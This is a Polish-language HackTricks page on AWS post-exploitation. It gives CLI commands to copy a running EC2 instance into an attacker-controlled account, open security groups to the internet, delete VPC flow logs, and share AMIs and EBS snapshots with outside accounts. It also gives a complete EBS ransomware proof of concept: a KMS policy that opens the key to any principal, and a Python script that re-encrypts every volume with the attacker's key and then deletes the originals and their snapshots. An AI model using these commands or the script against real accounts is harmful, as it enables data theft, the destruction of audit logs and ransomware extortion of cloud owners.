AWS - EC2, EBS, SSM & VPC Post Exploitation

Zdobądź wiedzę na temat hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

EC2 & VPC

Aby uzyskać więcej informacji, sprawdź:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Złośliwe odbijanie VPC - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

Odbijanie ruchu VPC duplikuje ruch przychodzący i wychodzący dla instancji EC2 w obrębie VPC bez konieczności instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch zazwyczaj jest przesyłany do systemu wykrywania intruzów sieciowych (IDS) w celu analizy i monitorowania. Atakujący mógłby wykorzystać to do przechwycenia całego ruchu i uzyskania z niego poufnych informacji:

Aby uzyskać więcej informacji, sprawdź tę stronę:

pageAWS - Malicious VPC Mirror

Skopiowanie działającej instancji

Instancje zazwyczaj zawierają pewne poufne informacje. Istnieją różne sposoby, aby się do nich dostać (sprawdź sztuczki eskalacji uprawnień EC2). Jednak inny sposób, aby sprawdzić, co zawierają, to utworzenie obrazu AMI i uruchomienie nowej instancji (nawet w swoim własnym koncie) z niego:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

Zrzut migawki EBS

Zrzuty migawki są kopiami zapasowymi woluminów, które zazwyczaj zawierają informacje poufne, dlatego sprawdzenie ich powinno ujawnić te informacje. Jeśli znajdziesz wolumin bez migawki, możesz: Utwórz migawkę i wykonaj następujące czynności lub po prostu podłącz go do instancji wewnątrz konta:

pageAWS - EBS Snapshot Dump

Eksfiltracja danych

Eksfiltracja DNS

Nawet jeśli zablokujesz EC2, aby żaden ruch nie mógł wyjść, nadal może on eksfiltrować dane za pomocą DNS.

  • Logi przepływów VPC tego nie zarejestrują.

  • Nie masz dostępu do logów DNS AWS.

  • Wyłącz to, ustawiając "enableDnsSupport" na false za pomocą:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Eksfiltracja za pomocą wywołań API

Atakujący mógłby wywoływać punkty końcowe API kontroliowane przez niego. Cloudtrail zarejestruje te wywołania, a atakujący będzie mógł zobaczyć eksfiltrowane dane w logach Cloudtrail.

Otwarta grupa zabezpieczeń

Możesz uzyskać dalszy dostęp do usług sieciowych, otwierając porty w ten sposób:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Eskalacja uprawnień do ECS

Istnieje możliwość uruchomienia instancji EC2 i zarejestrowania jej do użycia w celu uruchamiania instancji ECS, a następnie kradzieży danych instancji ECS.

Aby uzyskać więcej informacji, sprawdź to.

Usuń dzienniki przepływu VPC

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

Udostępnij AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Share EBS Snapshot

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Przykład ransomware'u EBS PoC

Dowód koncepcyjny podobny do demonstracji ransomware'u zaprezentowanej w notatkach dotyczących eksploatacji po S3. KMS powinno być przemianowane na RMS dla Ransomware Management Service, ze względu na łatwość użycia do szyfrowania różnych usług AWS.

Najpierw z konta AWS 'atakującego' utwórz zarządzany przez klienta klucz w KMS. W tym przykładzie pozwólmy AWS zarządzać danymi klucza dla mnie, ale w realnym scenariuszu zły aktor zachowałby dane klucza poza kontrolą AWS. Zmień politykę klucza, aby umożliwić każdemu głównemu kontu AWS użycie klucza. W tej polityce klucza nazwa konta to 'AttackSim', a reguła polityki pozwalająca na dostęp to 'Outside Encryption'.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Reguła kluczowej polityki wymaga następujących uprawnień, aby umożliwić jego użycie do szyfrowania woluminu EBS:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

Teraz, mając dostępny publicznie klucz, możemy skorzystać z konta "ofiary", które ma uruchomione niezaszyfrowane woluminy EBS podłączone do instancji EC2. Te woluminy EBS konta "ofiary" są naszym celem szyfrowania. Ten atak jest przeprowadzany w założeniu naruszenia konta AWS o wysokich uprawnieniach.

W rezultacie w koncie pozostaną tylko zaszyfrowane woluminy EBS.

Warto również zauważyć, że skrypt zatrzymał instancje EC2, aby odczepić i usunąć oryginalne woluminy EBS. Oryginalne niezaszyfrowane woluminy są teraz usunięte.

Następnie wróć do polityki klucza w koncie "atakującego" i usuń regułę polityki "Outside Encryption".

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Poczekaj chwilę, aż nowa polityka klucza się rozpropaguje. Następnie wróć do konta "ofiary" i spróbuj dołączyć jeden z nowo zaszyfrowanych woluminów EBS. Zauważysz, że możesz dołączyć wolumin.

Jednak gdy spróbujesz ponownie uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, operacja zakończy się niepowodzeniem i instancja pozostanie w stanie "oczekując" i wróci do stanu "zatrzymane" na zawsze, ponieważ dołączony wolumin EBS nie może być odszyfrowany przy użyciu klucza, ponieważ polityka klucza już tego nie zezwala.

Ten skrypt w języku Python jest używany. Wymaga on poświadczeń AWS dla konta "ofiary" oraz publicznie dostępnej wartości ARN AWS dla klucza używanego do szyfrowania. Skrypt utworzy zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS dołączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odczepi oryginalne woluminy EBS, je usunie, a na koniec usunie wszystkie wykorzystane migawki. W rezultacie w docelowym koncie "ofiary" pozostaną tylko zaszyfrowane woluminy EBS. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST ON DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać, korzystając z wykorzystanego klucza KMS i przywrócić je do pierwotnego stanu za pomocą migawek, ale chcemy Cię poinformować, że jest to w końcu PoC ransomware.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated